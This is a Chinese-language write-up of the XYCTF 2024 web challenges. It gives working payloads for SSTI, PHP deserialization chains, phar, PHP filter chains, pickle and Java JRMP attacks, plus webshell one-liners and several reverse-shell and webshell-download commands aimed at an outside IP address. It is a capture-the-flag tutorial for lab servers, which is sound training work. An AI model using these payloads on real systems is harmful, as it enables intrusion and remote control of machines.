【Web】2024XYCTF题解(全)

目录

ezhttp

ezmd5

[warm up](#warm up)

ezMake

ez?Make

εZ?¿м@Kε¿?

我是一个复读机

牢牢记住,逝者为大

ezRCE

ezPOP

ezSerialize

ezClass

pharme

连连看到底是连连什么看

ezLFI

login

[give me flag](#give me flag)

baby_unserialize


ezhttp

访问./robots.txt

继续访问拿到账号密码

登录,然后就是抓包各种http八股

ezmd5

GitHub - zhijieshi/md5collgen

生成的图片分别上传即可

(只允许上传jpg,重新生成就行,懒得放图了)

点击比较图片拿到flag

warm up

鉴定为md5八股

复制代码
?val1[]=1&val2[]=2&md5=0e215962017&XY=0e215962017&XYCTF=0e215962017

访问./LLeeevvveeelll222.php

数组绕过preg_match,preg_replace命令执行

复制代码
?a=/1/e&b=system('tac /f*')&c=1
a[]=1

ezMake

PATH 环境变量被显式地设定为空。这段 Makefile 的逻辑检查了 PATH 是否未定义,如果未定义则设为空,如果已定义也重设为空。由于 PATH 被设置为空,shell 将无法定位到除内置命令之外的任何外部命令的位置。

Bash 内建命令

这些命令是由Bash自身提供,而不是独立的程序:

  • alias - 定义或显示别名。
  • cd - 改变当前目录。
  • echo - 输出参数到标准输出。
  • exit - 退出当前shell。
  • export - 设置或显示环境变量。
  • history - 显示命令历史记录。
  • pwd - 打印当前工作目录的路径。
  • read - 从标准输入读取一行数据。
  • set - 设置或取消设置shell选项和位置参数。
  • type - 显示一个命令的类型。
  • unset - 删除变量或函数的定义。

echo可以执行

直接echo写马会有waf

甚至base64也不行🤔

hex2bin可以过

复制代码
echo '<?=eval(hex2bin("6576616c28245f504f53545b22636d64225d293b"))?>' > yjh.php

成功写马,命令执行拿flag

ez?Make

这题patch了一下上题的非预期,不能再echo写马了

但也把/bin下的命令放了出来,不再有PATH的限制

知道flag路径在/flag,所以可以cd再进行读文件,读文件的方法ban了不少,经过测试more还能用

最终payload:

复制代码
cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&more [0-z][0-z][0-z][0-z]

εZ?¿м@Kε¿?

右键查看源码

访问./hint.php

就是说给了个白名单

关于makefile的自动变量

Makefile中的自动变量是在规则执行时由make自动定义的变量。这些变量非常有用,因为它们可以自动获取文件名、目录名和更多的信息,使得Makefile编写更加简洁和灵活。下面是一些常用的自动变量:

  • $@: 表示规则中的目标文件名。如果在模式规则中,它表示的是目标的一个实例。
  • $<: 表示规则中的第一个依赖文件名。
  • $?: 表示所有比目标文件还要新的依赖文件列表,用空格分隔。
  • $^: 表示所有的依赖文件列表,这些依赖文件以空格分隔,不包含重复的依赖文件。
  • $+: 这个变量和$^很像,但是它包含了所有的依赖文件,并保留了重复的文件。
  • $*: 在模式规则中,它表示匹配于目标模式中的%部分的字符串。例如,在规则 %.o: %.c 中,如果目标是 foo.o,则 $* 的值就是 foo

[Makefile的编写及四个特殊符号的意义@、@、^、 - 春风一郎 - 博客园 (cnblogs.com)](https://www.cnblogs.com/lelin/p/11152780.html "Makefile的编写及四个特殊符号的意义@、@、^、 - 春风一郎 - 博客园 (cnblogs.com)")

可以自己做个小lab

注意到通过报错可以带出命令执行结果的第一个空格前的字符串

通过<可以输入重定向文件

靶机中,\<就是/flag,此外要注意在makefile中代表的是shell中的(见文章中)

最终payload:

复制代码
$$(<$<)

成功报错带出

我是一个复读机

进来一个登录框,附件给的字典爆进去

一眼SSTI,注意到{{}}、{%%}、_、'都被ban了,这我还注个集贸啊😡

搞点破坏,发现只要是中文或特殊字符就可以被解析为{{}}

python SSTI的各种payload

用request配合|attr绕过,最终payload:

复制代码
?sentence=😡(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()😡&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag

或者

复制代码
?sentence=😡lipsum|attr(request.args.glo)|attr(request.args.ge)(request.args.o)|attr(request.args.po)(request.args.cmd)|attr(request.args.re)()😡&glo=__globals__&ge=__getitem__&o=os&po=popen&cmd=cat /flag&re=read

牢牢记住,逝者为大

注意到eval用了字符串拼接的方式

PHP中的eval()函数可以执行多行命令,但如果其中的某一行命令出现错误,PHP 解释器将会停止执行并抛出一个致命错误,索性这个man已经被注释了,为了命令执行,我们需要做的就是换行和注释掉mamba out

关于命令执行,因为限长,所以考虑用`$_GET[1]`来转接

但对GET有诸多限制,连curl都打不了,考虑写马

写马有两种方式,一种echo >,另一种直接wget下载远程文件,本题显然是后者

payload:

复制代码
?cmd=%0a`$_GET[1]`;%23&1=wget 124.222.136.33:1337/yjh.php

%0a换行,%23注释

成功写马,命令执行拿到flag

也可以nc反弹shell,至于关键词过滤,直接''就可以过掉

payload:

复制代码
?cmd=%0a`$_GET[1]`;%23&1=nc 124.222.136.33 1337 -e /bi''n/sh

监听,成功反弹shell,拿flag

ezRCE

在shell环境中有一种特殊的表示字符的序列。在这种表示法中,\ 后面跟着一个八进制数,表示该字符的 ASCII 值。在bash中有一种特殊字符的引用的方式------$''(称为 ANSI-C quoting)它允许你在字符串中使用 ANSI C 转义序列来表示特殊字符或者 ASCII 控制字符。

贴一个字符串转8进制的脚本

复制代码
def string_to_octal(input_str):
    octal_str = ""
    for char in input_str:
        octal_char = oct(ord(char))[2:]
        octal_str += "\\" + octal_char.zfill(3)
    return octal_str

input_str = "指定字符串"
octal_output = string_to_octal(input_str)
print(octal_output)

给一个lab

$'\l54\163'

成功执行了ls

能否直接读文件呢

$'\143\141\164\040\061\056\150\164\155\154'

可以看到其直接将单引号包裹的内容整体当成了一个命令,不能直接利用

bash中的一种特殊的语法Here String,用于将字符串作为命令的标准输入提供给命令。它的语法形式是 <<<,后跟一个字符串,形如:

复制代码
command <<< "string"

这里的 command 可以是任何接受标准输入的命令,而 string 则是要提供给该命令的字符串。

再给另一个lab

bash <<< $'\143\141\164\040\146\154\141\147\056\160\150\160'

bash $'\142\141\163\150'

cat flag.php $'\143\141\164\040\146\154\141\147\056\160\150\160'

'\\142\\141\\163\\150' \<\<\< '\143\141\164\040\146\154\141\147\056\160\150\160'

最终payload:

复制代码
?cmd=$'\142\141\163\150'<<<$'\143\141\164\040\057\146\052'

ezPOP

链子很好看

CCC.__destruct -> AAA.__toString -> BBB.__get

call_user_func(a,b)(c)(d);这种构造很奇怪

要求我们call_user_func返回一个函数

c是返回函数的入参,call_user_func(a,b)(c)的返回值又是个以$d为入参的函数

其实还挺好操作的,题目里unset了一下$_POST['a'],其实就是把数组元素清了一个,有关数组的操作很容易可以想到current

call_user_func('current','$_POST')返回值完全可控,可以令其为sprintf

其返回一个字符串,返回值就是传入的参数

<?php

$var=sprintf("Z3r4y");

echo $var;

//Z3r4y

众所周知,()可以将字符串作为函数来处理

例如可以这样调用phpinfo()

<?php

$var=sprintf("phpinfo");

echo $var;

$var();

所以我们可以通过这样的操作来返回一个system,system的参数也完全可控

具体如下

exp

复制代码
<?php
class AAA
{
    public $s;
    public $a;
}

class BBB
{
    public $c;
    public $d;
}

class CCC
{
    public $c;
}

$b=new BBB();
$a=new AAA();
$c=new CCC();
$b->c="system";
$b->d="tac /f*";
$a->s=$b;
$c->c=$a;
echo serialize($c);

最后因为要绕过抛错,所以删去生成字符串最后的'}'

payload:

复制代码
?xy=O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"system";s:1:"d";s:7:"tac /f*";}s:1:"a";N;}

a=current&b=sprintf

ezSerialize

简单一个引用绕过

复制代码
<?php

class Flag {
    public $token;
    public $password;
}

$a=new Flag();
$a->password=&$a->token;
echo serialize($a);

访问./fpclosefpclosefpcloseffflllaaaggg.php

链子

E#__unserialize -> D#__toString -> B#__get -> A#invoke -> C#__call

exp

复制代码
<?php

class A {
    public $mack;
}

class B {
    public $luo;
}

class C {
    public $wang1;
}


class D {
    public $lao;
    public $chen;
}

class E {
    public $name;
    public $num;
}

//E#__unserialize -> D#__toString -> B#__get -> A#invoke -> C#__call

$a=new E();
$b=new D();
$c=new B();
$d=new A();
$e=new C();
$d->mack=$e;
$c->luo=$d;
$b->lao=$c;
$a->name=$b;
echo serialize($a);

访问./saber_master_saber_master.php

PHP原生类总结

链子

XYCTFNO3#__wakeup -> XYCTFNO2.XYCTF() -> XYCTFNO3.XY() -> new SplFileObject("php://filter/convert.base64-encode/resource=flag.php")

exp

复制代码
<?php
class XYCTFNO1
{
    public $Liu;
    public $T1ng;
    private $upsw1ng;
}

class XYCTFNO2
{
    public $crypto0;
    public $adwa;
}

class XYCTFNO3
{
    public $KickyMu;
    public $fpclose;
    public $N1ght;

}

$a=new XYCTFNO3();
$b=new XYCTFNO2();
$c=new XYCTFNO1();
$c->crypto0='dev1l';
$c->T1ng='yuroandCMD258';
$b->adwa=$c;
$a->KickyMu=$b;
$a->N1ght='oSthing';
echo serialize($a);

最后post传参

复制代码
X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php

用SplFileObject配合php伪协议来读文件

base64解码得flag

ezClass

把原生类玩明白了属于是

复制代码
<?php
$a=new Error("Z3r4y");
echo $a->getMessage();
//Z3r4y

现在通过Error我们可以构造任意字符串,这不为所欲为

最终payload:

复制代码
?a=Error&aa=system&b=Error&bb=cat /f*&c=getMessage

pharme

右键查看源码

访问./class.php

preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_]+/','',$this->cmd)))这段正则是将输入中的字母、下划线和括号都移除,并将连续的分号替换为字符串 'ch3nx1' ,最后与'ch3nx1'比较判真

其实就是个白名单,只能含有字母A-Z,a-z,下划线_和左右括号(),其实也就是无参RCE

此外,eval中的字符串是拼接的,且不能用#和//进行注释,则要用__halt_compiler来终止编译

在 PHP 中,__halt_compiler() 是一个特殊的语言结构,用于在脚本中立即停止编译器的解析。这意味着,该函数之后的任何 PHP 代码都不会被编译器解析为 PHP 代码,但这些数据依然可以作为文件的一部分存在,可以通过 PHP 的 I/O 函数访问。

使用场景和目的:

  • 数据存储__halt_compiler() 常见于将数据直接嵌入到 PHP 脚本文件中的情况。这使得可以在一个文件中同时包含执行代码和非执行数据,如安装脚本、自解压脚本等。
  • 混合内容:可以在 PHP 文件中混合使用 PHP 代码和任意其他数据,不需要担心编译器会尝试解析那些非 PHP 数据。
  • 创建 PHAR 文件 :PHAR (PHP Archive) 文件格式广泛使用 __halt_compiler() 来分隔 PHAR 元数据和包含的文件数据。

生成phar包

复制代码
<?php
class evil{
    public $cmd="eval(end(getallheaders()));__halt_compiler();";   //写shell
}
@unlink('poc.phar');   //删除之前的test.phar文件(如果有)
$phar=new Phar('poc.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$o=new evil();
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

因为对文件内容没有修改,所以不需要重算签名

gzip压缩一下过掉文件内容过滤

发包的时候改后缀和content-type为png即可

再过掉phar://开头的正则

复制代码
file=php://filter/convert.base64-encode/resource=phar:///tmp/23f1a0f70f076b42b5b49f24ee28f696.png

连连看到底是连连什么看

点击about后存在一个文件包含

先随便尝试包含下index.php

访问./what's_this.php

一眼顶针,鉴定为php_filter_chain

直接打的话XYCTF后会有脏数据

复制代码
?p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode

手动加string.strip_tags过滤器来去除php标签

构造XYCTF<?php

最终payload:

复制代码
?p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags

ezLFI

源码就是LFI

chmod 400 /flag:改变 /flag 文件的权限,设置为只有所有者可读

可以用php-filter-chain来包含一句话木马

有现成的github项目工程

GitHub - wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT

login

先在./register.php注册

再用注册的账号登录,抓包,响应头Set-Cookie有一个RememberMe的字段,此外注意到服务器是python的

对其base64解码,看到app🤔

经过尝试是pickle(反)序列化

存在过滤,直接打打不通,⽤o字节码绕过过滤参照下文

最近碰到的 Python pickle 反序列化小总结

exp:

复制代码
import base64

shell = b'''bash -c "bash -i >& /dev/tcp/124.222.136.33/1337 0<&1"'''  # 反弹shell语句

payload = b'''(ctimeit
timeit
(cos
system
V''' + shell + b'''
oo.'''

print(base64.b64encode(payload).decode())

give me flag

考的哈希长度拓展攻击

GitHub - shellfeel/hash-ext-attack: 哈希长度扩展攻击利用脚本,免去了hashpump需要编译的烦恼

复制代码
<?php
$time=time();
echo $time;
复制代码
import requests

url = 'http://127.0.0.1:31860/?md5=509dbe30c98c4ddb7817813e9a1fc3c6&value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00'

while True:

    res = requests.get(url=url)

    if "XYCTF" in res.text:
        print(res.text)

        break

baby_unserialize

右键查看源码

访问./ser

随便传参回包让入参为payload

反序列化输入流限得很死,打JRMP绕过

复制代码
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1338 CommonsCollections3 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}'

ysoserial自带的JRMPClient被waf掉了,重写一个

复制代码
package org.example;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Base64;

public class JRMP {
    public static void main(String[] args) throws Exception {
        ObjID id = new ObjID();
        TCPEndpoint te = new TCPEndpoint("124.222.136.33", 1338);
        LiveRef liveRef = new LiveRef(id, te, false);
        UnicastRef ref = new UnicastRef(liveRef);
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();

        byte[] byteArray = barr.toByteArray();

        String res = Base64.getEncoder().encodeToString(byteArray);
        System.out.println(res);
    }
}

运行生成的payload再url一次编码后打入

监听,成功反弹shell,env拿flag

相关推荐
一方~3 小时前
XML语言
xml·java·web
互联网搬砖老肖4 小时前
Web 架构之数据读写分离
前端·架构·web
小芝麻咿呀16 小时前
websocketd 10秒教程
websocket·web
忧虑的乌龟蛋4 天前
Qt实现网页内嵌
qt·web·msvc·网页·网页内嵌·qt界面·webenginewidget
越来越无动于衷10 天前
java web 过滤器
java·开发语言·servlet·web
90后小陈老师10 天前
WebXR教学 06 项目4 跳跃小游戏
3d·web·js
nuc-12711 天前
[ACTF2020 新生赛]BackupFile题解
web·ctf
ZZZKKKRTSAE12 天前
快速上手Linux的Web服务器的部署及优化
linux·运维·服务器·web
GeekABC12 天前
FastAPI系列06:FastAPI响应(Response)
开发语言·python·fastapi·web
一只程序烽.12 天前
err: Error: Request failed with status code 400
java·axios·web